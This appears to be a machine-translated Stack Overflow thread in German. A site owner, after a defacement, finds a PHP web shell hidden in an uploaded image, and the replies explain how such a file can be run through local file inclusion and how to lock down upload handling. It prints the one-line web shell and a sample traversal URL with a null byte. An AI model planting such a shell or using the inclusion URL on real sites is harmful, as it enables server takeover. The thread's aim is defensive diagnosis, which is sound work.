Meine php-site wurde gehackt von codes hochgeladen als Bild..?
Gestern war meine Seite eingebunden. Der Angreifer verpasst dem index.php Datei, um Ihre eigene (mit all Ihrer Herrlichkeit Nachrichten und GRÜßEN). Ich habe benachrichtigt den hosting-Unternehmen über diese (läuft auf einem dedizierten server), und für meinen Teil, ich bin versucht, etwas zu beheben, das scheint die Ursache zu sein, denn ich bin noch nicht in der Lage zu zeigen, wie genau hast unsere server angegriffen wurde, aber ich glaube, ich habe gefunden, bestimmte Skript-basierte Lücken, die möglicherweise die Ursache sein.
Unsere Website hat ein image-uploader form, aber alle hochgeladenen Bilder werden überprüft, ob Sie in der Tat-image-Datei und nicht einige codes mittels php getimagesize-Funktion. Nur, wenn der Bild Typ ist IMAGETYPE_GIF, oder IMAGETYPE_JPEG, oder IMAGETYPE_PNG werden Sie akzeptiert werden. Sonst werden Sie nicht in der Lage, um die Datei hochzuladen. Jedoch fand ich heraus, dass eine hochgeladene Bild-Datei enthält einen php-Skript drin! Sie können das Bild herunterladen hier. Es ist eine gültige Bild-Datei, aber Sie versuchen, öffnen Sie das Bild mit einem beliebigen text-editor und finden Sie ein php-code:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
Beispielsweise, das Bild ist hochgeladen zu diesem Ort (www.mysite.com/uploads/picodes.jpg). Beachten Sie, dass der Ordner uploads' - Berechtigung ist 755. Gibt es eine Möglichkeit, in die Welt der Angreifer ausführen kann, das system (oder einem anderen Befehl wie passthru, da wir aus einem anderen Bild hat den gleichen code versteckt wie oben, aber anstelle von system, es hat passthru-Befehl), nur zum Beispiel, die Eingabe von www.mysite.com/uploads/picodes.jpg?cmd=some Befehl ?? Von meinem wissen es nicht getan werden kann (wirklich sehr dankbar, wenn jemand kann beweisen, mich nicht falsch), es sei denn, der Angreifer kann benennen Sie die jpg-Datei in php, und auch, dass diese codes sind tief verborgen im Bild (bitte siehe das Bild im text-editor, um zu verstehen, was ich zu sagen versuche)
Für die Vorsichtsmaßnahmen, die ich deaktiviert habe diese php-Funktionen (exec, passthru, proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,system), indem Sie Sie auf die disable_functions in der php.ini.
Ja, ich denke immer noch, dass der Angreifer Zugriff nicht über Internet, sondern über den server nutzen, aber ich denke, dass mein hosting-Unternehmen anders denkt.
- Je nach der Konfiguration Ihres Servers, wenn Ihr Bild verifier überprüft nicht die Dateinamen, es könnte möglich sein, für diese ausgenutzt werden kann, z.B. wenn der Angreifer lädt die Datei mit einem Namen, der hat ein
.php
Erweiterung. Aber das ist wirklich eine Frage für die Server Schuld. Ist es das, was Sie wissen wollten? - Vielen Dank für die Beantwortung david, aber wie ich schon oben erwähnt, werden alle hochgeladenen Dateien zuerst geprüft werden; nur wenn Sie Bild-Datei (gif,jpg,oder png) werden Sie akzeptiert werden. Sonst wird es verworfen. Also das hochladen einer Datei mit .php-extension oder einem anderen raw-codes mit jeder Erweiterung wird sicherlich scheitern.
- Nun, Sie sagten, Sie verwenden
getimagesize
um zu überprüfen, dass das Bild ein Bild ist, aber die Funktion nicht überprüfen Sie die Datei-Erweiterung. Es sieht nur auf den Inhalt der Datei. (Probieren Sie es aus: benennen Siepicodes.jpg
zupicodes.php
und sehen, wasgetimagesize("picodes.php")
gibt Sie.) Sie müssen also auch explizit überprüfen Sie den Namen, unter dem die Datei hochgeladen wird, und stellen Sie sicher, dass es passt das Bild zurückgegebene Typ vongetimagesize
. - OMG... wie kann ich vergessen, so etwas??!! Vielen Dank, David!
php_admin_flag engine off
für alle Verzeichnisse/Orte, die Sie speichern, uploads sollten Teil deiner Apache-config.- stackoverflow.com/questions/13250471/...
Du musst angemeldet sein, um einen Kommentar abzugeben.
Image-Datei mit beliebigem PHP-code kann nicht ausgenutzt werden, mit einer direkten Anfrage, z.B.
http://www.mysite.com/uploads/image.jpg?cmd=somecode
.Immer noch, es kann verwendet werden, mit Local File Inclusion " - Schwachstelle.
Beispielsweise in index.php verwenden Sie
include('pages/' . $_GET['page'] . '.php');
, dann Angreifer kann Bild hochladen mit PHP-code innerhalb und ausführen von Befehlen, mit smth like this:http://www.mysite.com/index.php?page=../upload/image.jpg?cmd=somecode%00
UPD: geändert-Datei in URL auf Seite
page
und nichtfile
in der url 😉JPEG-Dateien können beliebige Daten in Ihnen zusätzlich zu den eigentlichen Bilddaten; es ist Teil der spec. Also nur überprüfen, ob ein Bild eine gültige JPEG, bedeutet nicht, dass die Datei unbedingt völlig harmlos.
Kann dies nicht eine Sicherheitslücke in deinem code. Ich hatte das gleiche passiert mir vor ein paar Wochen. Obwohl ALLE meine index.php Dateien, die entfernt wurden, auch diejenigen, die nicht direkt das Internet zugegriffen werden kann. In meinem Fall war es eine Sicherheitslücke in Linux. Nichts zu tun mit meinem code. Das war die Antwort von meinem hosting-provider (A2Hosting), über das problem. Sobald ich Sie davon überzeugt, es war nicht alles, was ich habe, diese Dinge herauszufinden ziemlich schnell.
"Einen letzten exploit im Linux-kernel war
verwendet, um zu gewähren administrative (root -) Zugriff auf Benutzer-Verzeichnisse auf der
server. Der Angriff Bestand aus dem entfernen von index-Dateien gefunden
Verzeichnisse und ersetzen Sie Sie mit den vom Angreifer gewünschten
Inhalt: Eine schwarze Webseite mit der Angreifer code-Namen "iSKORPiTX
(Turkish Hacker)". Dieser hack wurde Massiv über das internet und verwendet ein
bislang unbekannte Schwachstelle, die Begrenzung unserer Fähigkeit, bei der Prävention."
Mein Bild-Datei-loader-Einstellung: upload-Datei in temp-Ordner, creat neues Bild mit imagecreatefromjpeg oder imagecreatefrompng oder imagecreatefromgif und speichern Sie, löschen Sie hochgeladene Datei aus dem temp-Ordner (alle diese Dinge geschehen innerhalb der gleichen Skript-Aktion, also hochgeladene Datei im temp-Ordner existiert nicht für lange Zeit)